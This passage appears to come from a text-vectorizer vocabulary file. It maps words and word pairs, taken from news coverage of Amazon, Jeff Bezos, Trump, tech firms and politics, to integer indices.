seacrest": 63457, "whistle smears": 63458, "cnn congressional": 63459, "oracle earnings": 63460, "analytics tools": 63461, "resolution removes": 63462, "awful long": 63463, "east elmhurst": 63464, "rank": 63465, "extortion won": 63466, "whopping enterprise": 63467, "returning": 63468, "buy particular": 63469, "shrinking": 63470, "offering handouts": 63471, "giants given": 63472, "japan ap": 63473, "passes house": 63474, "localized level": 63475, "posting nonsense": 63476, "cranberry": 63477, "funded shelters": 63478, "customer businesses": 63479, "c8 g8": 63480, "fools someday": 63481, "week introduction": 63482, "interactives": 63483, "coordinates": 63484, "considered key": 63485, "brazil respectively": 63486, "const": 63487, "ching huang": 63488, "tremendous potential": 63489, "public sphere": 63490, "autostartvideo true": 63491, "callbackobj onplayerready": 63492, "kesel amazon": 63493, "leather ear": 63494, "policy amazon": 63495, "afflicting": 63496, "colors people": 63497, "shares amalgamated": 63498, "gelsinger": 63499, "tiny business": 63500, "greedy di": 63501, "trolling chinese": 63502, "actually ask": 63503, "laws does": 63504, "clancy fictional": 63505, "report trump": 63506, "logistics companies": 63507, "liquefied": 63508, "relatives visit": 63509, "childish language": 63510, "activity olsavsky": 63511, "letterman": 63512, "cylinders": 63513, "greater noise": 63514, "biased narratives": 63515, "longtime security": 63516, "inappropriate comments": 63517, "worked love": 63518, "jamaican": 63519, "ge subsidiaries": 63520, "trouble fitting": 63521, "eilllng3bh": 63522, "searched": 63523, "gpu makers": 63524, "herera michael": 63525, "destroyed google": 63526, "geeky": 63527, "post fear": 63528, "kids content": 63529, "government monopolies": 63530, "yes michael": 63531, "2018 elbow": 63532, "kelly mcbride": 63533, "employees referred": 63534, "ministry spokeswoman": 63535, "sellers face": 63536, "message": 63537, "direct responses": 63538, "hefty pay": 63539, "time assuming": 63540, "google amazon": 63541, "steve blackman": 63542, "environmental groups": 63543, "says gartner": 63544, "owner newshub": 63545, "patriotism": 63546, "formal": 63547, "revised measure": 63548, "weekend finding": 63549, "statement indigenous": 63550, "current day": 63551, "low priced": 63552, "risk cnbc": 63553, "customer usage": 63554, "active talks": 63555, "quality expectations": 63556, "law china": 63557, "away stuart": 63558, "suggestions send": 63559, "regulatory reporting": 63560, "winstead": 63561, "nungesser reveals": 63562, "protesting horrible": 63563, "headlines humiliating": 63564, "emailed company": 63565, "spokesperson mentioned": 63566, "encompasses silicon": 63567, "palantir involvement": 63568, "selling wide": 63569, "ask questions": 63570, "hondurans": 63571, "santucci": 63572, "competing": 63573, "rate growth": 63574, "market rate": 63575, "products check": 63576, "clear prologue": 63577, "amazonfcadam": 63578, "ghosts": 63579, "drainage": 63580, "fortune bs_bullet_primary": 63581, "tit caught": 63582, "minimis": 63583, "tv roku": 63584, "prioritized negative": 63585, "latest authors": 63586, "series explores": 63587, "comey report": 63588, "trump allegedly": 63589, "anable": 63590, "offered amazon": 63591, "announce today": 63592, "thousand migrants": 63593, "mechanical turk": 63594, "comment period": 63595, "b7qmsx3wd": 63596, "hour worked": 63597, "gas rent": 63598, "energy humans": 63599, "lecturer": 63600, "basically conspiracy": 63601, "defense information": 63602, "ancient": 63603, "abc spencer": 63604, "unevenness": 63605, "bezos weighed": 63606, "addressing": 63607, "gasoline restaurants": 63608, "live fixtures": 63609, "declared hopefully": 63610, "ridiculed": 63611, "similar offender": 63612, "ami deals": 63613, "donuts forget": 63614, "justifying argument": 63615, "license collective": 63616, "apostle": 63617, "106 billion": 63618, "important issue": 63619, "brito head": 63620, "site": 63621, "day1": 63622, "team lost": 63623, "australia richest": 63624, "management structure": 63625, "performer": 63626, "rally": 63627, "treaty": 63628, "dimitrios": 63629, "local children": 63630, "information reported": 63631, "embarrass bezos": 63632, "handle brexit": 63633, "sanchez standing": 63634, "reasons ranging": 63635, "longer novel": 63636, "crisis era": 63637, "administrations held": 63638, "crack": 63639, "google adtech": 63640, "considering approaches": 63641, "n0 ba": 63642, "justice conducted": 63643, "headquarters feb": 63644, "dozen coroner": 63645, "catalog senders": 63646, "realize": 63647, "extensive supply": 63648, "thanks partly": 63649, "amazon incentives": 63650, "maxsa home": 63651, "determined willy": 63652, "ceo told": 63653, "massive stock": 63654, "supporters hate": 63655, "william stance": 63656, "state parties": 63657, "worksharing activity": 63658, "brings25": 63659, "congress passes": 63660, "schwietzer": 63661, "entitled sex": 63662, "amazon place": 63663, "advice 2018": 63664, "kovach": 63665, "cozy crony": 63666, "research advisors": 63667, "progressives bangin": 63668, "cognitive": 63669, "service revenues": 63670, "city specialized": 63671, "2018 fox": 63672, "random hairpieces": 63673, "face records": 63674, "administration stated": 63675, "recession rises": 63676, "sainsbury": 63677, "hiking socks": 63678, "vintage hardware": 63679, "energy issues": 63680, "cut sanity": 63681, "day operations": 63682, "europe know": 63683, "followed reports": 63684, "rich history": 63685, "official representative": 63686, "unlikely allies": 63687, "flow yields": 63688, "norton": 63689, "texas intermediate": 63690, "overall market": 63691, "gain opinion": 63692, "m\u025bnz": 63693, "glenn morelli": 63694, "political discussion": 63695, "popular marijuana": 63696, "behavior longtime": 63697, "pacified": 63698, "tr pff": 63699, "derangement syndrome": 63700, "grabber": 63701, "make calls": 63702, "gmt david": 63703, "required services": 63704, "cutters savings": 63705, "economic advocacy": 63706, "picture best": 63707, "indian companies": 63708, "mature": 63709, "people recognize": 63710, "phones honestly": 63711, "uber starbucks": 63712, "delhi nov": 63713, "eventually amazon": 63714, "enterprise deregulation": 63715, "look bradley": 63716, "man land": 63717, "amazon trucks": 63718, "chairman walker": 63719, "enforcement dropped": 63720, "vox matt": 63721, "cnbc special": 63722, "diapered trump": 63723, "soon kavanaugh": 63724, "votes comfortably": 63725, "strongly urge": 63726, "recent jedi": 63727, "gruber": 63728, "downplay": 63729, "players feds": 63730, "ideal": 63731, "908": 63732, "alexa gadget": 63733, "yangon myanmar": 63734, "angelo public": 63735, "haley": 63736, "reconstructed": 63737, "names marty": 63738, "temporarily depress": 63739, "repeal vote": 63740, "neighbors pushback": 63741, "fundamentalists": 63742, "wing": 63743, "amazon life": 63744, "candlelight vigil": 63745, "buffalo news": 63746, "seattle affordable": 63747, "valuable company": 63748, "courts trump": 63749, "shirts ebay": 63750, "indicts disclaimer": 63751, "maclear urban": 63752, "fedex truck": 63753, "softon iran": 63754, "pleaded guilty": 63755, "uu9ssaa17kk3 gvodujpo": 63756, "tennessee home": 63757, "sends strong": 63758, "started tweeting": 63759, "trump acting": 63760, "ingraham program": 63761, "sumita": 63762, "trump dustup": 63763, "keir gilchrist": 63764, "thought florida": 63765, "used evan": 63766, "fund buys": 63767, "relationship unless": 63768, "returning representatives": 63769, "964 shares": 63770, "government money": 63771, "offering guests": 63772, "reported 280": 63773, "years 2019": 63774, "announces record": 63775, "laser work": 63776, "carlos nobre": 63777, "lvmh": 63778, "oft cited": 63779, "single corporation": 63780, "career true": 63781, "dangerous rock": 63782, "nasdaq futures": 63783, "criminal actions": 63784, "morning great": 63785, "intelligence services": 63786, "state scores": 63787, "amazon recruitment": 63788, "egypt chess": 63789, "jeff_gluck2": 63790, "handmaid": 63791, "actually pulloutdecision": 63792, "netflixs dirty": 63793, "tblack bloomberg": 63794, "figure price": 63795, "options including": 63796, "img_panoramicref": 63797, "aggressive regulatory": 63798, "enforcement trailer": 63799, "phased withdrawal": 63800, "americanprogress org": 63801, "willhave wisdom": 63802, "paradise produces": 63803, "slaughtering": 63804, "brands corporations": 63805, "say inequities": 63806, "bong": 63807, "iii cincinnati": 63808, "ethics authorities": 63809, "ribisi": 63810, "association attacked": 63811, "joannftzptrck": 63812, "butte county": 63813, "kids concentration": 63814, "post abramowitz": 63815, "sources trump": 63816, "european partners": 63817, "rebuilding storm": 63818, "hope looking": 63819, "immigration centers": 63820, "function little": 63821, "businessweek": 63822, "howorth offered": 63823, "ap sen": 63824, "review books": 63825, "filings amazon": 63826, "really doesn": 63827, "basically exposing": 63828, "bud super": 63829, "email instructions": 63830, "intervene": 63831, "dollars personally": 63832, "apple learned": 63833, "grew weary": 63834, "halpern fox": 63835, "samin nosrat": 63836, "administration tax": 63837, "brothers john": 63838, "vmware announcing": 63839, "aboutthe": 63840, "hd fuse": 63841, "signature line": 63842, "equality college": 63843, "owners sue": 63844, "zlotow": 63845, "retain ownership": 63846, "dozen white": 63847, "bezos burned": 63848, "alienate large": 63849, "companies involved": 63850, "2018 aclu": 63851, "shay president": 63852, "china lost": 63853, "sir brian": 63854, "prime video": 63855, "poll cuomo": 63856, "manager guggenheim": 63857, "lasser wrote": 63858, "giant dominant": 63859, "schumer adding": 63860, "hoops sagrado": 63861, "amazon fuels": 63862, "china brazil": 63863, "moretz": 63864, "cumulatively killed": 63865, "operate away": 63866, "culture matt": 63867, "finances carrie": 63868, "institute matthew": 63869, "sessions walks": 63870, "park national": 63871, "defense innovation": 63872, "worry pic": 63873, "doctors": 63874, "oftentimes elites": 63875, "steve sack": 63876, "campaign mode": 63877, "build hq2": 63878, "sent questionnaires": 63879, "officials treat": 63880, "refuted allegations": 63881, "amazon fell": 63882, "336x336 getty_173218731_200015422000928060_388160": 63883, "picture book": 63884, "villains list": 63885, "solid jobs": 63886, "incoherent": 63887, "weak spots": 63888, "asians": 63889, "immediately available": 63890, "divorce agreement": 63891, "foreign revenue": 63892, "story vc": 63893, "actress stormy": 63894, "furnishings stores": 63895, "skewered bezos": 63896, "contrast photo": 63897, "germany rocks": 63898, "cuomo support": 63899, "act sex": 63900, "america exhibition": 63901, "textile": 63902, "zoo": 63903, "says companies": 63904, "jay nordlinger": 63905, "sauce saga": 63906, "state capitol": 63907, "jenna": 63908, "150 points": 63909, "rafe morrissey": 63910, "fbi": 63911, "adds hq2": 63912, "trump decided": 63913, "staff cnn": 63914, "dispiriting": 63915, "leaked": 63916, "suburb bezos": 63917, "multiple major": 63918, "progressive senator": 63919, "carolina": 63920, "brewer nightly": 63921, "headlinetext": 63922, "better production": 63923, "mariotti tweeted": 63924, "hopes consumers": 63925, "commercial rapprochement": 63926, "simulation game": 63927, "lindstrom": 63928, "situation writes": 63929, "volatility additionally": 63930, "death amazon": 63931, "goldman sees": 63932, "normally 165": 63933, "loss incurred": 63934, "nationalist": 63935, "service declining": 63936, "stated softly": 63937, "resumed": 63938, "ocean success": 63939, "energy amazon": 63940, "manufacturing process": 63941, "weakness going": 63942, "standing feud": 63943, "madonna": 63944, "auto refresh": 63945, "history repeat": 63946, "submission governments": 63947, "lynch latest": 63948, "bar": 63949, "aclu shed": 63950, "experienced warehouse": 63951, "gizmodo reported": 63952, "client emirates": 63953, "beat apple": 63954, "tx owns": 63955, "scamp": 63956, "appropriate credit": 63957, "reconsider dams": 63958, "asylum southern": 63959, "wagers": 63960, "important fodder": 63961, "ftc warns": 63962, "post broke": 63963, "buys corporate": 63964, "democratic leaders": 63965, "gonna leave": 63966, "pompeo unveiled": 63967, "save trees": 63968, "ji": 63969, "100 years": 63970, "commander": 63971, "bannerhasatag": 63972, "lowered service": 63973, "paper edition": 63974, "bring untold": 63975, "uber faced": 63976, "bidens": 63977, "guwahati": 63978, "minutes tossing": 63979, "remaining decidedly": 63980, "pledge isn": 63981, "invaluable charms": 63982, "prominence thanks": 63983, "tax protectionism": 63984, "randymh": 63985, "wrestling entertainment": 63986, "administration announced": 63987, "medical care": 63988, "damn delicious": 63989, "president closest": 63990, "took fun": 63991, "satellites surveillance": 63992, "large brain": 63993, "hydroelectric": 63994, "concern regarding": 63995, "investigations industry": 63996, "best inferential": 63997, "syndrome ratings": 63998, "1999 chris": 63999, "dynamic sectors": 64000, "chances pretty": 64001, "muilenburg later": 64002, "ami investigation": 64003, "face trump": 64004, "service company": 64005, "extensive flooding": 64006, "pineapple": 64007, "interventionist approach": 64008, "leadership predicted": 64009, "providence": 64010, "increasing series": 64011, "successes speak": 64012, "mawr": 64013, "25th": 64014, "gratification": 64015, "banks": 64016, "plan 143": 64017, "blue air": 64018, "jumped": 64019, "additional locations": 64020, "inviting cities": 64021, "amazon loss": 64022, "life love": 64023, "taking action": 64024, "level read": 64025, "star concept": 64026, "finding inexpensive": 64027, "long worker": 64028, "stop binging": 64029, "short hike": 64030, "barriers onthe": 64031, "saint cloud": 64032, "cities bending": 64033, "day kaitlan": 64034, "form deadly": 64035, "shortcut": 64036, "jr columnist": 64037, "operator bloomin": 64038, "report 51554477721": 64039, "government introduces": 64040, "coca": 64041, "siriously delicious": 64042, "sizeable portion": 64043, "interim schuster": 64044, "taken recent": 64045, "accused kidnapper": 64046, "president routinely": 64047, "suitcase turkey": 64048, "amazon fall": 64049, "wage employers": 64050, "leary": 64051, "respectively barclays": 64052, "daily assault": 64053, "isn rattling": 64054, "bbc guardian": 64055, "salivating": 64056, "heavy traffic": 64057, "lawyer michael": 64058, "second section": 64059, "experimentative episode": 64060, "bezoz photo": 64061, "bolsonaro answers": 64062, "burns": 64063, "especially european": 64064, "america best": 64065, "rand howard": 64066, "new kentucky": 64067, "president thanks": 64068, "chinese vice": 64069, "momentous confirmation": 64070, "luring": 64071, "collins seat": 64072, "false testimony": 64073, "media flawed": 64074, "cover operating": 64075, "indian island": 64076, "prince mohammed": 64077, "lim kee": 64078, "plants 2018": 64079, "linskey julie": 64080, "nationwide ceo": 64081, "truth president": 64082, "billion amazon": 64083, "stakes 371": 64084, "supply chain": 64085, "chin": 64086, "moment donald": 64087, "continued claiming": 64088, "pushing ahead": 64089, "review networks": 64090, "administration unveiled": 64091, "disease disaster": 64092, "president understand": 64093, "100x100 getty_173218731_200015422000928060_388160": 64094, "exploitative": 64095, "story online": 64096, "sap black": 64097, "private trust": 64098, "cork catholicedchat": 64099, "wants google": 64100, "jarring accent": 64101, "childhood growing": 64102, "economic message": 64103, "natural disaster": 64104, "techn": 64105, "emphasizing": 64106, "president comments": 64107, "plate magazine": 64108, "passed balance": 64109, "european intellectual": 64110, "usually outdid": 64111, "dependents": 64112, "links report": 64113, "having trillion": 64114, "girls collection": 64115, "turns": 64116, "loss study": 64117, "mayor appeared": 64118, "massive union": 64119, "roughly 100": 64120, "beauty products": 64121, "stop peddlers": 64122, "tax case": 64123, "patrick hedren": 64124, "07017b": 64125, "leading cloud": 64126, "platform ellison": 64127, "median rent": 64128, "tabloid publisher": 64129, "kid outgrows": 64130, "popular vaxxed": 64131, "property cases": 64132, "abhorrent conflicts": 64133, "testing positive": 64134, "governor": 64135, "longer histories": 64136, "janice min": 64137, "faire donald": 64138, "trump denounced": 64139, "insider building": 64140, "confirms receipt": 64141, "harsh": 64142, "amazon causing": 64143, "yielding power": 64144, "319": 64145, "break hubbard": 64146, "observes editor": 64147, "vows emergency": 64148, "gardens douglaston": 64149, "bite": 64150, "problems": 64151, "losses president": 64152, "buymedia bu0yhealth": 64153, "long dark": 64154, "powerful commerce": 64155, "microzon": 64156, "deliveries involving": 64157, "fail": 64158, "conservative george": 64159, "mollie hemingway": 64160, "companies experienced": 64161, "company juul": 64162, "186 000": 64163, "try act": 64164, "fit antique": 64165, "regulation explained": 64166, "seattle followed": 64167, "walmart fedex": 64168, "brathwaite chief": 64169, "priscilla": 64170, "point undercutting": 64171, "trump storms": 64172, "long career": 64173, "progressive tech": 64174, "internet worth": 64175, "paul orwell": 64176, "included hat": 64177, "certain organizations": 64178, "news publication": 64179, "verdict winner": 64180, "team lines": 64181, "brazil interior": 64182, "mechanisms plunge": 64183, "court nyt": 64184, "dino palmiotto": 64185, "fiction essays": 64186, "live mics": 64187, "league clubs": 64188, "election analysts": 64189, "qualcomm nasdaq": 64190, "messages revealing": 64191, "feet ac": 64192, "films free": 64193, "retail workers": 64194, "surrounding area": 64195, "near perfect": 64196, "4chan postings": 64197, "becker confirmed": 64198, "enforcement especially": 64199, "years residents": 64200, "taft": 64201, "amazon likecompany": 64202, "showing remorse": 64203, "really scandalised": 64204, "novey": 64205, "1pm": 64206, "post featured": 64207, "ev sales": 64208, "hbo series": 64209, "damning report": 64210, "bloomberg businessweek": 64211, "baker street": 64212, "450 square": 64213, "loathes jeff": 64214, "messy trade": 64215, "news anchors": 64216, "royalty": 64217, "friendliness": 64218, "pluralist": 64219, "var f8": 64220, "previous couple": 64221, "giant ceo": 64222, "quoted": 64223, "nostrums": 64224, "sorting centers": 64225, "proposed fare": 64226, "338 million": 64227, "democrats drew": 64228, "annual ai": 64229, "sentiment trump": 64230, "beliefs imagine": 64231, "america think": 64232, "time delays": 64233, "council lander": 64234, "foreign sites": 64235, "allocated": 64236, "faded considerably": 64237, "877": 64238, "seattle retail": 64239, "immediately reached": 64240, "fare wage": 64241, "citing poor": 64242, "post pubescent": 64243, "justifiably": 64244, "thank": 64245, "seminal novel": 64246, "visit naturalnews": 64247, "includes trump": 64248, "ugly ones": 64249, "104": 64250, "posted blog": 64251, "vermont": 64252, "removing stock": 64253, "mcgrath amazon": 64254, "view associated": 64255, "faux monopolies": 64256, "everybody expectations": 64257, "homogenization": 64258, "vacancies": 64259, "proxy advisor": 64260, "maiden visit": 64261, "delivery usps": 64262, "trump racist": 64263, "bias sen": 64264, "ice technology": 64265, "cheapen": 64266, "including royal": 64267, "antifa melts": 64268, "mary riedel": 64269, "hearing says": 64270, "hasclass": 64271, "recent race": 64272, "trade wars": 64273, "properly": 64274, "cinch deal": 64275, "bank pussy": 64276, "financial review": 64277, "earlier collected": 64278, "sing": 64279, "entire day": 64280, "investor hosted": 64281, "billionaire according": 64282, "showed repeated": 64283, "growing cities": 64284, "ukrainian journalist": 64285, "nganang": 64286, "cost 700": 64287, "new lines": 64288, "grassroots political": 64289, "component merck": 64290, "barry hotstar": 64291, "role": 64292, "doing susan": 64293, "zuker says": 64294, "trump flagship": 64295, "currentvideocollection videoid": 64296, "155x90": 64297, "dolliole": 64298, "1100 type": 64299, "misunderstood": 64300, "cn current_video_collection": 64301, "relationships pillpack": 64302, "agcom": 64303, "toilet breaks": 64304, "advances": 64305, "plunkett": 64306, "belief backed": 64307, "license allows": 64308, "nbc reported": 64309, "coat": 64310, "twitter wonkette": 64311, "eventually jeff": 64312, "pivot trump": 64313, "perceive amazon": 64314, "week repeated": 64315, "content madeline": 64316, "buy significantly": 64317, "basically master": 64318, "today growth": 64319, "astronomical rise": 64320, "excoriate": 64321, "connection": 64322, "trillium book": 64323, "giants failed": 64324, "dead converge": 64325, "number refugees": 64326, "legal lodging": 64327, "amazon offered": 64328, "implores voters": 64329, "big target": 64330, "trump office": 64331, "marks amazon": 64332, "small fraction": 64333, "comments donald": 64334, "service money": 64335, "trump spoke": 64336, "man disappointed": 64337, "frankie star": 64338, "butterflies": 64339, "deductible royalty": 64340, "economy politics": 64341, "large social": 64342, "gluttons": 64343, "1610et copyright": 64344, "twitter microsoft": 64345, "kristinn": 64346, "losing post": 64347, "opportunity bravo": 64348, "cfra": 64349, "power lorded": 64350, "retailers pursued": 64351, "food pet": 64352, "rates rise": 64353, "consumer health": 64354, "trump perfume": 64355, "meet citizen": 64356, "bezos mingled": 64357, "new season": 64358, "country china": 64359, "usps regularly": 64360, "delays closings": 64361, "buyers pockets": 64362, "ipt readers": 64363, "dime": 64364, "portrays pre": 64365, "eve edelheit": 64366, "dollar watermark": 64367, "charging sellers": 64368, "stake unenroll": 64369, "daniel mcfaul": 64370, "burdens": 64371, "bribed governments": 64372, "president dwight": 64373, "simple form": 64374, "remarks saying": 64375, "titan twitter": 64376, "interesting want": 64377, "nakedly obvious": 64378, "track trump": 64379, "green ticked": 64380, "forecast wait": 64381, "tennessee valley": 64382, "seth": 64383, "trump poses": 64384, "groceries amazon": 64385, "katie kramer": 64386, "leadership role": 64387, "time worrying": 64388, "winds wh": 64389, "chocolate stores": 64390, "strong education": 64391, "1531868602 mod": 64392, "unproven cancer": 64393, "cloud behemoth": 64394, "jinping": 64395, "worker activism": 64396, "subordinates": 64397, "socio": 64398, "obama hire": 64399, "dedicated pipelines": 64400, "zone amazon": 64401, "pants subway": 64402, "global chief": 64403, "virginia bid": 64404, "plan prime": 64405, "shift tech": 64406, "expansion projects": 64407, "john oliver": 64408, "connecttweetlinkedincommentemailmore days": 64409, "landmark": 64410, "selma blair": 64411, "apparently stores": 64412, "ending microsoft": 64413, "ads spending": 64414, "taking unfair": 64415, "ig report": 64416, "dipped slightly": 64417, "inside american": 64418, "emotionally toxic": 64419, "danger": 64420, "crushing": 64421, "shares 243": 64422, "southpaw": 64423, "internet analyst": 64424, "wrote citing": 64425, "dark relationship": 64426, "electorate": 64427, "new ftc": 64428, "eurozone unemployment": 64429, "punching": 64430, "jason dzubow": 64431, "won really": 64432, "retiree medical": 64433, "reliance": 64434, "guard trial": 64435, "bonniemurphy": 64436, "daviddtss": 64437, "goods instead": 64438, "congressed": 64439, "identities private": 64440, "revenue grab": 64441, "amazon scraps": 64442, "stripes": 64443, "profitero": 64444, "500 doffed": 64445, "availabe": 64446, "session herera": 64447, "virginia political": 64448, "city andrew": 64449, "relocates": 64450, "radicalised ideas": 64451, "competitors learn": 64452, "latest novel": 64453, "story investors": 64454, "jtreece406": 64455, "retail distribution": 64456, "donald prince": 64457, "tech types": 64458, "higher saying": 64459, "accessibility security": 64460, "games online": 64461, "tampa": 64462, "sets start": 64463, "bezos compensation": 64464, "trump responds": 64465, "carrying gun": 64466, "big oil": 64467, "2017 vice": 64468, "poison weren": 64469, "rebounded": 64470, "pennsylvania police": 64471, "repeatedly used": 64472, "anti regulatory": 64473, "creates 130": 64474, "appeals": 64475, "arms predicting": 64476, "discussed missions": 64477, "prioritizes": 64478, "booth wedding": 64479, "comments fbi": 64480, "focusing large": 64481, "raising taxes": 64482, "google announced": 64483, "takes place": 64484, "leaving packages": 64485, "tolling sites": 64486, "largest single": 64487, "victorias secret": 64488, "investing insights": 64489, "experience sanders": 64490, "idina menzel": 64491, "states year": 64492, "greene good": 64493, "580m acquisition": 64494, "kids don": 64495, "outsized sway": 64496, "deeply personal": 64497, "gorelick president": 64498, "pecker bezos": 64499, "higher federal": 64500, "rigging news": 64501, "crime alice": 64502, "little credit": 64503, "happy satanist": 64504, "advisors told": 64505, "app donald": 64506, "content experience": 64507, "bezos published": 64508, "billionaires fat": 64509, "occasions trump": 64510, "accords": 64511, "advertisers pushing": 64512, "cut did": 64513, "postpartum": 64514, "suppress evidence": 64515, "city shortlist": 64516, "police apparatus": 64517, "alienating customers": 64518, "enchanted": 64519, "hurting amazon": 64520, "turn things": 64521, "drivel lipstick": 64522, "liberty": 64523, "greater shipments": 64524, "cost pricing": 64525, "google powers": 64526, "menu despite": 64527, "california employing": 64528, "kept quiet": 64529, "mid atlantic": 64530, "forbes new": 64531, "sports business": 64532, "afloat critics": 64533, "zachary elsea": 64534, "submission": 64535, "bank officials": 64536, "teams porsche": 64537, "democrats doesn": 64538, "business outcomes": 64539, "california wildfires": 64540, "american taxpayer": 64541, "shopping": 64542, "concocted": 64543, "amazon propaganda": 64544, "indication wall": 64545, "bezos reportedly": 64546, "quigley": 64547, "marchers": 64548, "coworkers wrists": 64549, "claims google": 64550, "movie capital": 64551, "html __source": 64552, "amzn": 64553, "men new": 64554, "pressing amzn": 64555, "rep cummings": 64556, "usps john": 64557, "documentary hillary": 64558, "tom alberg": 64559, "called firecracker": 64560, "moser hey": 64561, "thiel": 64562, "taken stand": 64563, "press fortune": 64564, "ruining germany": 64565, "lethal autonomous": 64566, "incredible amounts": 64567, "leak convenient": 64568, "trump hatred": 64569, "president unfit": 64570, "blood soaked": 64571, "development credit": 64572, "giant": 64573, "hearted": 64574, "remiss": 64575, "doses think": 64576, "city teamsters": 64577, "maybe": 64578, "pics sanchez": 64579, "fulfilment centre": 64580, "dean": 64581, "continuous": 64582, "highly secure": 64583, "ideology google": 64584, "substantial public": 64585, "ceremonial": 64586, "apology jordan": 64587, "true claim": 64588, "documented issues": 64589, "twitter dem": 64590, "instability brennan": 64591, "strong local": 64592, "chanel products": 64593, "opposite amazon": 64594, "best path": 64595, "demographics onsumers": 64596, "deals verizon": 64597, "intense evil": 64598, "realistically trust": 64599, "seller financing": 64600, "society foundations": 64601, "billion train": 64602, "force says": 64603, "patrick whitesell": 64604, "delong emilian": 64605, "amazon dam": 64606, "basement": 64607, "pick trump": 64608, "amazon helped": 64609, "virginia tech": 64610, "bezos accusing": 64611, "referenced": 64612, "member ritchie": 64613, "trade associations": 64614, "general amazon": 64615, "trademarks earlier": 64616, "wapo rachel": 64617, "germany chancellor": 64618, "walmart reuters": 64619, "getting big": 64620, "explosive congressional": 64621, "reported shipping": 64622, "2015 bezos": 64623, "ran jim": 64624, "fc": 64625, "accused bezos": 64626, "younger activists": 64627, "house hopefuls": 64628, "treating conservatives": 64629, "publishing multiple": 64630, "amzn setting": 64631, "lost qualms": 64632, "bumblebee sneak": 64633, "federal deputy": 64634, "regrettable": 64635, "initially obtained": 64636, "moron": 64637, "deutsch fretted": 64638, "page wasn": 64639, "immigration iq": 64640, "seeing red": 64641, "imposing": 64642, "disclosures dismay": 64643, "office addresses": 64644, "initiatives meant": 64645, "continuing criticism": 64646, "device recorded": 64647, "capitol rotunda": 64648, "program dsp": 64649, "spanish broadcasting": 64650, "characteristic rapid": 64651, "____________________________today": 64652, "debunking sanders": 64653, "locale shapes": 64654, "wonder beauty": 64655, "stocks retreated": 64656, "criticism began": 64657, "oaktrees howard": 64658, "reportedly receive": 64659, "125": 64660, "bezos measures": 64661, "national unity": 64662, "available evidence": 64663, "airport designated": 64664, "lawbreaker carmen": 64665, "adbe": 64666, "amazonhq2 amazongiveaway": 64667, "complete opposite": 64668, "idyllic town": 64669, "newyork": 64670, "law required": 64671, "national telecommunications": 64672, "firm cites": 64673, "impulsive": 64674, "finish counting": 64675, "story fear": 64676, "different vaccines": 64677, "wendell pierce": 64678, "ceo explicit": 64679, "photographer courtesy": 64680, "paper published": 64681, "president avoid": 64682, "combined ken": 64683, "effectively increase": 64684, "law sparked": 64685, "post union": 64686, "gulftimes white": 64687, "french american": 64688, "johnson stood": 64689, "people coming": 64690, "reduce amazon": 64691, "thanksgiving weekend": 64692, "shane mccauley": 64693, "ainsley earhardt": 64694, "cape explains": 64695, "continued praise": 64696, "023": 64697, "market fears": 64698, "global accounting": 64699, "does deep": 64700, "guaranteed distribution": 64701, "outperformance": 64702, "primacy": 64703, "listing accounts": 64704, "new tribes": 64705, "supply space": 64706, "reich discusses": 64707, "hammond spokesperson": 64708, "unregulated agribusiness": 64709, "lee wyden": 64710, "sleeved model": 64711, "shares los": 64712, "newspaper criticism": 64713, "bogle": 64714, "trail devil": 64715, "virginia 2018": 64716, "area serves": 64717, "plowshares": 64718, "rose internet": 64719, "age pensions": 64720, "cart adobe": 64721, "politiciansreally wanted": 64722, "dark forces": 64723, "veteran republican": 64724, "washington trump": 64725, "new connections": 64726, "props": 64727, "includes amazon": 64728, "reporter dan": 64729, "hostilities": 64730, "trump feeds": 64731, "extraordinary power": 64732, "pilot progam": 64733, "signal unwinding": 64734, "result companies": 64735, "difference bezos": 64736, "ranking officials": 64737, "offing": 64738, "fist bump": 64739, "criticisms haven": 64740, "fighting bashar": 64741, "annual self": 64742, "paste": 64743, "free trial": 64744, "apparently": 64745, "teo simon": 64746, "suing": 64747, "containerel currentvideocollection": 64748, "zuckerberg marketing": 64749, "response team": 64750, "today jeffery": 64751, "sent president": 64752, "disclose receiving": 64753, "boosts": 64754, "reinstate cnn": 64755, "fine asked": 64756, "work mouse": 64757, "privacy rekognition": 64758, "fact checker": 64759, "party fueling": 64760, "scandalous text": 64761, "asks": 64762, "1011thewiz": 64763, "deal looks": 64764, "company spokeswoman": 64765, "miljard waard": 64766, "memorable": 64767, "holographic": 64768, "systematic": 64769, "overdose deaths": 64770, "softly": 64771, "shortstop wizards": 64772, "dowd chris": 64773, "trade issues": 64774, "jokingly propositioned": 64775, "stuart says": 64776, "chevy": 64777, "critical describing": 64778, "amazon hyper": 64779, "appease regulators": 64780, "tine": 64781, "external links": 64782, "tv cheddar": 64783, "video later": 64784, "environmental protection": 64785, "visceral": 64786, "amazon crowdsourced": 64787, "founder alexis": 64788, "undeniably important": 64789, "appropriators inthis": 64790, "axios schiff": 64791, "paid jolley": 64792, "years fineman": 64793, "communities": 64794, "politician crossed": 64795, "companies develop": 64796, "used": 64797, "divert attention": 64798, "need anymore": 64799, "mcnew imagealt": 64800, "losses writing": 64801, "display ad": 64802, "nation military": 64803, "multiple absentee": 64804, "twitter spat": 64805, "possible fyre": 64806, "michelle wolfs": 64807, "similar transactions": 64808, "growing debate": 64809, "subpoeana": 64810, "block": 64811, "york unparalleled": 64812, "people thought": 64813, "planning software": 64814, "tricky position": 64815, "memphis fedex": 64816, "borowitz report": 64817, "slew ofphone": 64818, "commissioner putnam": 64819, "cited targets": 64820, "nought bupkiss": 64821, "usa regulators": 64822, "gained don": 64823, "wage practices": 64824, "article appeared": 64825, "standoff video": 64826, "giving detailed": 64827, "w9x b3x": 64828, "defense marines": 64829, "average added": 64830, "criticized big": 64831, "just stone": 64832, "read making": 64833, "helipad": 64834, "post cares": 64835, "average edged": 64836, "careful valerie": 64837, "immigration order": 64838, "makes hundreds": 64839, "religious belief": 64840, "details covfefe": 64841, "customer experiences": 64842, "veena sud": 64843, "foreclosure king": 64844, "reap program": 64845, "rossignol reuters": 64846, "authors including": 64847, "high regard": 64848, "leftist outlet": 64849, "makes court": 64850, "modernizr tablet": 64851, "lower mortgage": 64852, "wnf new": 64853, "millercoors": 64854, "known longtime": 64855, "reef": 64856, "especially vocal": 64857, "finally want": 64858, "sinema": 64859, "point selloff": 64860, "countless writers": 64861, "humans new": 64862, "relatable": 64863, "rose postmaster": 64864, "treasonpuddles puddlestreason": 64865, "metropolitan space": 64866, "backlash monica": 64867, "rhino": 64868, "selling victoria": 64869, "a266 0cbed4decce7": 64870, "gigantic society": 64871, "support propaganda": 64872, "war 2018": 64873, "example galloway": 64874, "cornerstones": 64875, "uber casual": 64876, "ncluding": 64877, "distracted bezos": 64878, "studios oscar": 64879, 